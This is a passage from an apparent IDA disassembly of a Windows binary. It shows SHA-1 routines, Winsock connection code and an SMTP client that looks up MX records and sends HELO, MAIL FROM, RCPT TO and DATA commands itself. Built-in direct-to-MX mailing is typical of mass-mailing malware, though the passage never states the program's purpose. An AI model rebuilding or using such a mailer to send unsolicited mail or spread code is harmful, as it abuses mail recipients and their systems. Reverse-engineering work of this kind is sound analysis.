pop ebx leave retn 8 sub_40C620 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C789 proc near ; CODE XREF: sub_40C620+96p ; sub_40C844+C4p var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h test ecx, ecx ja short loc_40C79E xor ecx, ecx loc_40C795: ; CODE XREF: sub_40C789+1Fj push ecx call sub_40DE68 pop ecx leave retn ; --------------------------------------------------------------------------- loc_40C79E: ; CODE XREF: sub_40C789+8j or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 1 jnb short loc_40C795 and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_10] call sub_40D873 push offset dword_41FEA0 lea eax, [ebp+var_10] push eax mov [ebp+var_10], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_40C789 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C7D0 proc near ; CODE XREF: sub_40C1D3+22p ; sub_40C2BE+69p arg_0 = dword ptr 4 cmp dword ptr [edi], 0 jnz short loc_40C7DA call sub_40DCFC loc_40C7DA: ; CODE XREF: sub_40C7D0+3j mov eax, [edi+4] mov ecx, [edi] push esi mov esi, [esp+4+arg_0] imul esi, 5Ch add eax, esi cmp eax, [ecx+8] ja short loc_40C7F3 cmp eax, [ecx+4] jnb short loc_40C7F8 loc_40C7F3: ; CODE XREF: sub_40C7D0+1Cj call sub_40DCFC loc_40C7F8: ; CODE XREF: sub_40C7D0+21j add [edi+4], esi mov eax, edi pop esi retn 4 sub_40C7D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C801 proc near ; CODE XREF: sub_40C3E5+B0p ; sub_40C3E5+CEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_4] push [ebp+arg_0] call sub_40CB4B add esp, 10h pop edi leave retn 8 sub_40C801 endp ; =============== S U B R O U T I N E ======================================= sub_40C825 proc near ; CODE XREF: sub_40C620+A5p ; sub_40C620+B5p ... arg_0 = dword ptr 4 sub eax, [esp+arg_0] push esi lea esi, [eax+ecx] jz short loc_40C83E push eax push [esp+8+arg_0] push eax push ecx call sub_40D807 add esp, 10h loc_40C83E: ; CODE XREF: sub_40C825+8j mov eax, esi pop esi retn 4 sub_40C825 endp ; =============== S U B R O U T I N E ======================================= sub_40C844 proc near ; CODE XREF: sub_40B7A2+E4p ; sub_40B7A2+1C4p mov eax, offset loc_41B117 call sub_41AE44 sub esp, 14h mov eax, [ebp+1Ch] cmp eax, 0FFFFFFFEh push ebx push esi push edi mov [ebp-10h], esp mov ebx, ecx jz short loc_40C86F test eax, eax jz short loc_40C86A cmp eax, [ebp+14h] jz short loc_40C86F loc_40C86A: ; CODE XREF: sub_40C844+1Fj call sub_40DCFC loc_40C86F: ; CODE XREF: sub_40C844+1Bj ; sub_40C844+24j mov edi, [ebp+20h] sub edi, [ebp+18h] mov ecx, [ebx+4] test ecx, ecx mov [ebp-1Ch], edi jnz short loc_40C884 and [ebp-14h], ecx jmp short loc_40C88C ; --------------------------------------------------------------------------- loc_40C884: ; CODE XREF: sub_40C844+39j mov eax, [ebx+0Ch] sub eax, ecx mov [ebp-14h], eax loc_40C88C: ; CODE XREF: sub_40C844+3Ej test edi, edi jz loc_40CA5F test ecx, ecx jnz short loc_40C89C xor eax, eax jmp short loc_40C8A1 ; --------------------------------------------------------------------------- loc_40C89C: ; CODE XREF: sub_40C844+52j mov eax, [ebx+8] sub eax, ecx loc_40C8A1: ; CODE XREF: sub_40C844+56j or edx, 0FFFFFFFFh sub edx, eax cmp edx, edi jnb short loc_40C8AF call sub_40684D loc_40C8AF: ; CODE XREF: sub_40C844+64j test ecx, ecx jnz short loc_40C8B7 xor eax, eax jmp short loc_40C8BC ; --------------------------------------------------------------------------- loc_40C8B7: ; CODE XREF: sub_40C844+6Dj mov eax, [ebx+8] sub eax, ecx loc_40C8BC: ; CODE XREF: sub_40C844+71j add eax, edi cmp [ebp-14h], eax jnb loc_40C987 mov eax, [ebp-14h] shr eax, 1 or edx, 0FFFFFFFFh sub edx, eax cmp edx, [ebp-14h] jnb short loc_40C8DC and dword ptr [ebp-14h], 0 jmp short loc_40C8DF ; --------------------------------------------------------------------------- loc_40C8DC: ; CODE XREF: sub_40C844+90j add [ebp-14h], eax loc_40C8DF: ; CODE XREF: sub_40C844+96j test ecx, ecx jnz short loc_40C8E7 xor eax, eax jmp short loc_40C8EC ; --------------------------------------------------------------------------- loc_40C8E7: ; CODE XREF: sub_40C844+9Dj mov eax, [ebx+8] sub eax, ecx loc_40C8EC: ; CODE XREF: sub_40C844+A1j add eax, edi cmp [ebp-14h], eax jnb short loc_40C905 test ecx, ecx jnz short loc_40C8FB xor eax, eax jmp short loc_40C900 ; --------------------------------------------------------------------------- loc_40C8FB: ; CODE XREF: sub_40C844+B1j mov eax, [ebx+8] sub eax, ecx loc_40C900: ; CODE XREF: sub_40C844+B5j add eax, edi mov [ebp-14h], eax loc_40C905: ; CODE XREF: sub_40C844+ADj mov ecx, [ebp-14h] call sub_40C789 and dword ptr [ebp-4], 0 push dword ptr [ebx+4] mov esi, eax mov eax, [ebp+10h] mov ecx, esi mov [ebp-1Ch], esi call sub_40C825 push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push eax call sub_40CB11 push dword ptr [ebp+10h] mov ecx, eax mov eax, [ebx+8] call sub_40C825 mov ecx, [ebx+4] test ecx, ecx jnz short loc_40C94D xor eax, eax jmp short loc_40C952 ; --------------------------------------------------------------------------- loc_40C94D: ; CODE XREF: sub_40C844+103j mov eax, [ebx+8] sub eax, ecx loc_40C952: ; CODE XREF: sub_40C844+107j add edi, eax test ecx, ecx jz short loc_40C95F push ecx call sub_40DD8A pop ecx loc_40C95F: ; CODE XREF: sub_40C844+112j mov eax, [ebp-14h] add eax, esi mov [ebx+0Ch], eax lea eax, [esi+edi] mov [ebx+8], eax mov [ebx+4], esi jmp loc_40CA5F ; --------------------------------------------------------------------------- loc_40C975: ; DATA XREF: .vty:00420798o push dword ptr [ebp-1Ch] call sub_40DD8A pop ecx loc_40C97E: ; DATA XREF: .vty:004207A8o push 0 push 0 call sub_4107BC loc_40C987: ; CODE XREF: sub_40C844+7Dj mov esi, [ebx+8] cmp ecx, esi jbe short loc_40C993 call sub_40DCFC loc_40C993: ; CODE XREF: sub_40C844+148j cmp ebx, [ebp+0Ch] jz short loc_40C99D call sub_40DCFC loc_40C99D: ; CODE XREF: sub_40C844+152j mov eax, [ebp+10h] sub esi, eax cmp esi, edi jnb short loc_40CA18 lea ecx, [eax+edi] push eax mov eax, [ebx+8] call sub_40C825 mov eax, [ebp+14h] mov esi, [ebx+8] cmp [ebx+4], esi mov [ebp-18h], eax mov eax, [ebp+18h] mov [ebp-14h], eax jbe short loc_40C9CB call sub_40DCFC loc_40C9CB: ; CODE XREF: sub_40C844+180j cmp ebx, [ebp+0Ch] jz short loc_40C9D5 call sub_40DCFC loc_40C9D5: ; CODE XREF: sub_40C844+18Aj sub esi, [ebp+10h] mov edi, esi lea esi, [ebp-18h] call sub_40702B mov dword ptr [ebp-4], 2 push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp-14h] push dword ptr [ebp-18h] push dword ptr [ebx+8] call sub_40CB11 mov eax, [ebp-1Ch] add [ebx+8], eax mov ecx, [ebp+10h] mov eax, [ebp+18h] jmp short loc_40CA11 ; --------------------------------------------------------------------------- loc_40CA0B: ; CODE XREF: sub_40C844+1D0j mov dl, [eax] mov [ecx], dl inc ecx inc eax loc_40CA11: ; CODE XREF: sub_40C844+1C5j cmp eax, [ebp-14h] jnz short loc_40CA0B jmp short loc_40CA5F ; --------------------------------------------------------------------------- loc_40CA18: ; CODE XREF: sub_40C844+160j mov esi, [ebx+8] mov eax, esi sub eax, edi push eax mov ecx, esi mov eax, esi call sub_40C825 mov [ebx+8], eax mov eax, esi sub eax, [ebp+10h] sub eax, edi test eax, eax jle short loc_40CA47 push eax push dword ptr [ebp+10h] sub esi, eax push eax push esi call sub_40D807 add esp, 10h loc_40CA47: ; CODE XREF: sub_40C844+1F1j mov eax, [ebp+18h] cmp eax, [ebp+20h] jz short loc_40CA5F mov ecx, [ebp+10h] sub ecx, eax loc_40CA54: ; CODE XREF: sub_40C844+219j mov dl, [eax] mov [ecx+eax], dl inc eax cmp eax, [ebp+20h] jnz short loc_40CA54 loc_40CA5F: ; CODE XREF: sub_40C844+4Aj ; sub_40C844+12Cj ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 1Ch sub_40C844 endp ; =============== S U B R O U T I N E ======================================= sub_40CA70 proc near ; CODE XREF: sub_40C33D+1Ap mov eax, offset loc_41AF6E call sub_41AE44 push ecx push ecx mov eax, [ebp+8] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-14h], eax loc_40CA8C: ; CODE XREF: sub_40CA70+34j cmp dword ptr [ebp+0Ch], 0 jbe short loc_40CAC1 push dword ptr [ebp+8] mov edi, [ebp+10h] call sub_407701 dec dword ptr [ebp+0Ch] add dword ptr [ebp+8], 5Ch jmp short loc_40CA8C ; --------------------------------------------------------------------------- mov esi, [ebp-14h] jmp short loc_40CAB3 ; --------------------------------------------------------------------------- loc_40CAAB: ; CODE XREF: sub_40CA70+46j call sub_407598 add esi, 5Ch loc_40CAB3: ; CODE XREF: sub_40CA70+39j cmp esi, [ebp+8] jnz short loc_40CAAB push 0 push 0 call sub_4107BC loc_40CAC1: ; CODE XREF: sub_40CA70+20j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40CA70 endp ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_40C3E5+1ABp ; sub_40C3E5+1FDp ... push 0FFFFFFFFh push 0 push edi mov ecx, esi call sub_401315 push 0FFFFFFFFh push 0 lea eax, [edi+1Ch] push eax lea ecx, [esi+1Ch] call sub_401315 push 0FFFFFFFFh push 0 lea eax, [edi+38h] push eax lea ecx, [esi+38h] call sub_401315 mov eax, [edi+54h] mov [esi+54h], eax mov al, [edi+58h] mov [esi+58h], al mov al, [edi+59h] mov [esi+59h], al mov eax, esi retn sub_40CAD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB11 proc near ; CODE XREF: sub_40C844+ECp ; sub_40C844+1B4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_8] push edi xor eax, eax lea edi, [ebp+var_4] stosb push [ebp+var_4] mov eax, [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_10] call sub_40CB38 add esp, 0Ch pop edi leave retn 14h sub_40CB11 endp ; =============== S U B R O U T I N E ======================================= sub_40CB38 proc near ; CODE XREF: sub_40CB11+1Ap arg_0 = dword ptr 4 jmp short loc_40CB44 ; --------------------------------------------------------------------------- loc_40CB3A: ; CODE XREF: sub_40CB38+10j test eax, eax jz short loc_40CB42 mov dl, [ecx] mov [eax], dl loc_40CB42: ; CODE XREF: sub_40CB38+4j inc eax inc ecx loc_40CB44: ; CODE XREF: sub_40CB38j cmp ecx, [esp+arg_0] jnz short loc_40CB3A retn sub_40CB38 endp ; =============== S U B R O U T I N E ======================================= sub_40CB4B proc near ; CODE XREF: sub_4072C2+73p ; sub_40C801+17p mov eax, offset loc_41AF64 call sub_41AE44 push ecx push ecx mov eax, [ebp+0Ch] and dword ptr [ebp-4], 0 push ebx push esi push edi mov [ebp-10h], esp mov edi, ecx mov [ebp-14h], eax loc_40CB69: ; CODE XREF: sub_40CB4B+32j cmp edi, [ebp+8] jz short loc_40CB9A push dword ptr [ebp+0Ch] call sub_407701 add dword ptr [ebp+0Ch], 5Ch add edi, 5Ch jmp short loc_40CB69 ; --------------------------------------------------------------------------- loc_40CB7F: ; DATA XREF: .vty:00420274o mov esi, [ebp-14h] jmp short loc_40CB8C ; --------------------------------------------------------------------------- loc_40CB84: ; CODE XREF: sub_40CB4B+44j call sub_407598 add esi, 5Ch loc_40CB8C: ; CODE XREF: sub_40CB4B+37j cmp esi, [ebp+0Ch] jnz short loc_40CB84 push 0 push 0 call sub_4107BC loc_40CB9A: ; CODE XREF: sub_40CB4B+21j mov ecx, [ebp-0Ch] mov eax, [ebp+0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_40CB4B endp ; =============== S U B R O U T I N E ======================================= sub_40CBAC proc near ; CODE XREF: sub_401156+69p ; DATA XREF: .vty:off_41E018o mov edx, ecx push edi push 50h xor eax, eax pop ecx lea edi, [edx+20h] rep stosd and [edx+4], eax and [edx+8], eax mov dword ptr [edx+0Ch], 67452301h mov dword ptr [edx+10h], 0EFCDAB89h mov dword ptr [edx+14h], 98BADCFEh mov dword ptr [edx+18h], 10325476h mov dword ptr [edx+1Ch], 0C3D2E1F0h pop edi retn sub_40CBAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBE4 proc near ; DATA XREF: .vty:0041E01Co var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, ecx lea esi, [eax+0Ch] push 5 mov [ebp+var_4], esi pop ecx lea edi, [ebp+var_18] rep movsd mov edi, [ebp+var_14] xor ebx, ebx lea esi, [eax-18h] loc_40CC05: ; CODE XREF: sub_40CBE4+9Aj test bl, 0F0h jz short loc_40CC1A mov eax, [esi+2Ch] xor eax, [esi+18h] xor eax, [esi-8] xor eax, [esi] rol eax, 1 mov [esi+38h], eax loc_40CC1A: ; CODE XREF: sub_40CBE4+24j mov eax, ebx push 14h cdq pop ecx idiv ecx mov ecx, [ebp+var_18] rol ecx, 5 add ecx, dword_41F000[eax*4] add ecx, [esi+38h] add ecx, [ebp+var_8] cmp ebx, 14h jge short loc_40CC40 mov eax, edi not eax jmp short loc_40CC53 ; --------------------------------------------------------------------------- loc_40CC40: ; CODE XREF: sub_40CBE4+54j test al, 1 jz short loc_40CC4E mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, edi jmp short loc_40CC5D ; --------------------------------------------------------------------------- loc_40CC4E: ; CODE XREF: sub_40CBE4+5Ej mov eax, [ebp+var_10] or eax, edi loc_40CC53: ; CODE XREF: sub_40CBE4+5Aj mov edx, [ebp+var_10] and eax, [ebp+var_C] and edx, edi or eax, edx loc_40CC5D: ; CODE XREF: sub_40CBE4+68j add ecx, eax mov eax, [ebp+var_C] ror edi, 2 mov [ebp+var_8], eax mov eax, [ebp+var_10] inc ebx mov [ebp+var_10], edi mov edi, [ebp+var_18] add esi, 4 cmp ebx, 50h mov [ebp+var_C], eax mov [ebp+var_18], ecx jl short loc_40CC05 mov eax, [ebp+var_4] mov [ebp+var_14], edi pop edi pop esi xor ecx, ecx pop ebx loc_40CC8B: ; CODE XREF: sub_40CBE4+B4j mov edx, [ebp+ecx*4+var_18] add [eax], edx inc ecx add eax, 4 cmp ecx, 5 jl short loc_40CC8B leave retn sub_40CBE4 endp ; =============== S U B R O U T I N E ======================================= sub_40CC9C proc near ; CODE XREF: sub_40CCB1+8p ; sub_40CCCC+Fp ... push dword ptr [esi] call dword_41C1E8 ; closesocket test eax, eax jnz short loc_40CCAE or dword ptr [esi], 0FFFFFFFFh mov al, 1 retn ; --------------------------------------------------------------------------- loc_40CCAE: ; CODE XREF: sub_40CC9C+Aj xor al, al retn sub_40CC9C endp ; =============== S U B R O U T I N E ======================================= sub_40CCB1 proc near ; CODE XREF: sub_40399B+72p ; sub_403C76+13Fp ... push esi mov esi, eax cmp dword ptr [esi], 0FFFFFFFFh jz short loc_40CCBE call sub_40CC9C loc_40CCBE: ; CODE XREF: sub_40CCB1+6j push 0 push 1 lea ecx, [esi+4] call sub_4013C4 pop esi retn sub_40CCB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCCC proc near ; CODE XREF: sub_40399B+48p ; sub_403C76+118p ... var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, eax cmp dword ptr [esi], 0FFFFFFFFh jz short loc_40CCE0 call sub_40CC9C loc_40CCE0: ; CODE XREF: sub_40CCCC+Dj push 0 xor ebx, ebx inc ebx push ebx push 2 call dword_41C1E4 ; socket lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax mov [esi], eax mov [ebp+var_4], ebx call dword_41C208 ; ioctlsocket cmp dword ptr [edi+18h], 10h lea ebx, [edi+4] jb short loc_40CD10 mov eax, [ebx] jmp short loc_40CD12 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CCCC+3Ej mov eax, ebx loc_40CD12: ; CODE XREF: sub_40CCCC+42j push eax call dword_41C200 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_40CD7A cmp dword ptr [edi+18h], 10h jb short loc_40CD2B mov eax, [ebx] jmp short loc_40CD2D ; --------------------------------------------------------------------------- loc_40CD2B: ; CODE XREF: sub_40CCCC+59j mov eax, ebx loc_40CD2D: ; CODE XREF: sub_40CCCC+5Dj push eax call dword_41C218 ; gethostbyname test eax, eax jnz short loc_40CD64 cmp dword ptr [edi+18h], 10h jb short loc_40CD40 mov ebx, [ebx] loc_40CD40: ; CODE XREF: sub_40CCCC+70j push ebx push offset aSmtpclientConn ; "SmtpClient::connect: unknown host: %s\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch loc_40CD57: ; CODE XREF: sub_40CCCC+119j call sub_40CC9C or eax, 0FFFFFFFFh jmp loc_40CDF0 ; --------------------------------------------------------------------------- loc_40CD64: ; CODE XREF: sub_40CCCC+6Aj movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_10] push eax call sub_410050 add esp, 0Ch loc_40CD7A: ; CODE XREF: sub_40CCCC+53j push 19h mov [ebp+var_14], 2 call dword_41C1EC ; ntohs mov [ebp+var_12], ax push 10h lea eax, [ebp+var_14] push eax push dword ptr [esi] call dword_41C204 ; connect test eax, eax jz short loc_40CDEA call dword_41C210 ; WSAGetLastError cmp eax, 2733h jnz short loc_40CDBC push 14h pop eax call sub_40D602 test eax, eax setnle al test al, al jnz short loc_40CDEA loc_40CDBC: ; CODE XREF: sub_40CCCC+DDj cmp dword ptr [edi+18h], 10h jb short loc_40CDC4 mov ebx, [ebx] loc_40CDC4: ; CODE XREF: sub_40CCCC+F4j push [ebp+var_10] call dword_41C1FC ; inet_ntoa push eax push ebx push offset aSmtpclientCo_0 ; "SmtpClient::connect: cannot connect to "... call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 10h jmp loc_40CD57 ; --------------------------------------------------------------------------- loc_40CDEA: ; CODE XREF: sub_40CCCC+D0j ; sub_40CCCC+EEj push esi call sub_40D355 loc_40CDF0: ; CODE XREF: sub_40CCCC+93j pop esi pop ebx leave retn sub_40CCCC endp ; =============== S U B R O U T I N E ======================================= sub_40CDF4 proc near ; CODE XREF: sub_407949+54p ; sub_407E77+73p mov eax, offset loc_41B10D call sub_41AE44 sub esp, 1Ch push esi mov esi, ecx push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 and dword ptr [ebp-4], 0 push 0FFFFFFFFh push 0 push dword ptr [ebp+8] lea ecx, [ebp-28h] call sub_401315 push offset asc_41EBE8 ; "\r\n" lea eax, [ebp-28h] push eax call sub_401C66 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40CE42 lea eax, [ebp-24h] loc_40CE42: ; CODE XREF: sub_40CDF4+49j push 14h push eax mov eax, [ebp-14h] mov ecx, esi call sub_40D66E test eax, eax jz short loc_40CE8D push offset aSmtpclientComm ; "SmtpClient::command: connection broken\n"... call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40CE70: ; CODE XREF: sub_40CDF4+A1j push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_40CE8D: ; CODE XREF: sub_40CDF4+5Dj push esi call sub_40D355 mov esi, eax jmp short loc_40CE70 sub_40CDF4 endp ; =============== S U B R O U T I N E ======================================= sub_40CE97 proc near ; CODE XREF: sub_403C76+15Ep mov eax, offset loc_41B10D call sub_41AE44 sub esp, 20h push esi push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 and dword ptr [ebp-4], 0 push offset aHelo ; "HELO " lea ecx, [ebp-28h] call sub_4013A7 mov eax, [ebp+0Ch] push 0FFFFFFFFh push 0 lea esi, [ebp-28h] call sub_401F95 push offset asc_41EBE8 ; "\r\n" mov eax, esi push eax call sub_401C66 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40CEEF lea eax, [ebp-24h] loc_40CEEF: ; CODE XREF: sub_40CE97+53j mov ecx, [ebp+8] push 14h push eax mov eax, [ebp-14h] call sub_40D66E test eax, eax jz short loc_40CF3E push offset aSmtpclientHelo ; "SmtpClient::helo: connection broken\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C mov esi, [ebp+8] pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40CF21: ; CODE XREF: sub_40CE97+B1j push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 8 ; --------------------------------------------------------------------------- loc_40CF3E: ; CODE XREF: sub_40CE97+68j push dword ptr [ebp+8] call sub_40D355 mov esi, eax jmp short loc_40CF21 sub_40CE97 endp ; =============== S U B R O U T I N E ======================================= sub_40CF4A proc near ; CODE XREF: sub_403C76+174p ; sub_407949+6Bp ... mov eax, offset loc_41B10D call sub_41AE44 sub esp, 20h push esi push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 and dword ptr [ebp-4], 0 push offset aMailFrom ; "MAIL FROM: <" lea ecx, [ebp-28h] call sub_4013A7 mov eax, [ebp+0Ch] push 0FFFFFFFFh push 0 lea esi, [ebp-28h] call sub_401F95 push offset asc_41F0D0 ; ">\r\n" mov eax, esi push eax call sub_401C66 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40CFA2 lea eax, [ebp-24h] loc_40CFA2: ; CODE XREF: sub_40CF4A+53j mov ecx, [ebp+8] push 14h push eax mov eax, [ebp-14h] call sub_40D66E test eax, eax jz short loc_40CFF1 push offset aSmtpclientMail ; "SmtpClient::mailFrom: connection broken"... call sub_4024A7 push eax push 3 pop ecx call sub_40195C mov esi, [ebp+8] pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40CFD4: ; CODE XREF: sub_40CF4A+B1j push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 8 ; --------------------------------------------------------------------------- loc_40CFF1: ; CODE XREF: sub_40CF4A+68j push dword ptr [ebp+8] call sub_40D355 mov esi, eax jmp short loc_40CFD4 sub_40CF4A endp ; =============== S U B R O U T I N E ======================================= sub_40CFFD proc near ; CODE XREF: sub_403C76+18Ap ; sub_407949+100p ... mov eax, offset loc_41B10D call sub_41AE44 sub esp, 20h push esi push 0 lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 and dword ptr [ebp-4], 0 push offset aRcptTo ; "RCPT TO: <" lea ecx, [ebp-28h] call sub_4013A7 mov eax, [ebp+0Ch] push 0FFFFFFFFh push 0 lea esi, [ebp-28h] call sub_401F95 push offset asc_41F0D0 ; ">\r\n" mov eax, esi push eax call sub_401C66 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40D055 lea eax, [ebp-24h] loc_40D055: ; CODE XREF: sub_40CFFD+53j mov ecx, [ebp+8] push 14h push eax mov eax, [ebp-14h] call sub_40D66E test eax, eax jz short loc_40D0A4 push offset aSmtpclientRcpt ; "SmtpClient::rcptTo: connection broken\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C mov esi, [ebp+8] pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40D087: ; CODE XREF: sub_40CFFD+B1j push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, esi mov large fs:0, ecx pop esi leave retn 8 ; --------------------------------------------------------------------------- loc_40D0A4: ; CODE XREF: sub_40CFFD+68j push dword ptr [ebp+8] call sub_40D355 mov esi, eax jmp short loc_40D087 sub_40CFFD endp ; =============== S U B R O U T I N E ======================================= sub_40D0B0 proc near ; CODE XREF: sub_407949+1ADp ; sub_407E77+1CCp mov eax, offset loc_41B10D call sub_41AE44 sub esp, 20h push esi push edi mov esi, ecx push offset aData ; "DATA\r\n" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40D0DE lea eax, [ebp-24h] loc_40D0DE: ; CODE XREF: sub_40D0B0+29j push 14h push eax mov eax, [ebp-14h] mov ecx, esi call sub_40D66E test eax, eax jz short loc_40D12A loc_40D0EF: ; CODE XREF: sub_40D0B0+C3j push 0FFFFFFFEh pop edi push offset aSmtpclientData ; "SmtpClient::data: connection broken\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx call sub_40CC9C loc_40D10C: ; CODE XREF: sub_40D0B0+89j ; sub_40D0B0+D1j push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, edi pop edi mov large fs:0, ecx pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_40D12A: ; CODE XREF: sub_40D0B0+3Dj push esi call sub_40D355 mov edi, eax call sub_40D211 test al, al jz short loc_40D10C push 0FFFFFFFFh push 0 push dword ptr [ebp+8] lea ecx, [ebp-28h] call sub_401315 push offset a__0 ; "\r\n.\r\n" lea eax, [ebp-28h] push eax call sub_401C66 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40D164 lea eax, [ebp-24h] loc_40D164: ; CODE XREF: sub_40D0B0+AFj push 3Ch push eax mov eax, [ebp-14h] mov ecx, esi call sub_40D66E test eax, eax jnz loc_40D0EF push esi call sub_40D355 mov edi, eax jmp short loc_40D10C sub_40D0B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D183 proc near ; CODE XREF: sub_403C76+1C1p ; sub_407949+1C4p ... mov eax, offset loc_41B10D call sub_41AE44 sub esp, 1Ch push esi push edi mov esi, ecx push offset aQuit ; "QUIT\r\n" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_40D1B1 lea eax, [ebp-24h] loc_40D1B1: ; CODE XREF: sub_40D183+29j push 14h push eax mov eax, [ebp-14h] mov ecx, esi call sub_40D66E test eax, eax jz short loc_40D1FB push offset aSmtpclientQuit ; "SmtpClient::quit: connection broken\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40D1DF: ; CODE XREF: sub_40D183+8Cj push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi mov eax, esi mov large fs:0, ecx pop esi leave retn ; --------------------------------------------------------------------------- loc_40D1FB: ; CODE XREF: sub_40D183+3Dj push esi call sub_40D355 cmp dword ptr [esi], 0FFFFFFFFh mov edi, eax jz short loc_40D20D call sub_40CC9C loc_40D20D: ; CODE XREF: sub_40D183+83j mov esi, edi jmp short loc_40D1DF sub_40D183 endp ; =============== S U B R O U T I N E ======================================= sub_40D211 proc near ; CODE XREF: sub_403C76+11Dp ; sub_403C76+163p ... push 64h cdq pop ecx idiv ecx cmp eax, 2 jz short loc_40D224 cmp eax, 3 jz short loc_40D224 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40D224: ; CODE XREF: sub_40D211+9j ; sub_40D211+Ej xor eax, eax inc eax retn sub_40D211 endp ; =============== S U B R O U T I N E ======================================= sub_40D228 proc near ; CODE XREF: sub_40399B+39p ; sub_403B47+4Fp mov eax, offset loc_41AF37 call sub_41AE44 push ecx push ecx push esi push edi xor edi, edi mov [ebp-4], edi mov esi, ecx mov [ebp-14h], edi mov ecx, [ebp+8] push esi mov [ebp-10h], edi call sub_401C1E mov [ebp-4], edi cmp dword ptr [esi+18h], 10h mov dword ptr [ebp-14h], 1 jb short loc_40D261 mov esi, [esi+4] jmp short loc_40D264 ; --------------------------------------------------------------------------- loc_40D261: ; CODE XREF: sub_40D228+32j add esi, 4 loc_40D264: ; CODE XREF: sub_40D228+37j push edi lea eax, [ebp-10h] push eax push edi push edi push 0Fh push esi call sub_40D772 ; DnsQuery_A test eax, eax pop edi pop esi jnz short loc_40D291 mov eax, [ebp-10h] push dword ptr [eax+18h] mov ecx, [ebp+8] call sub_4013A7 push 1 push dword ptr [ebp-10h] call sub_40D778 ; DnsRecordListFree loc_40D291: ; CODE XREF: sub_40D228+4Fj mov ecx, 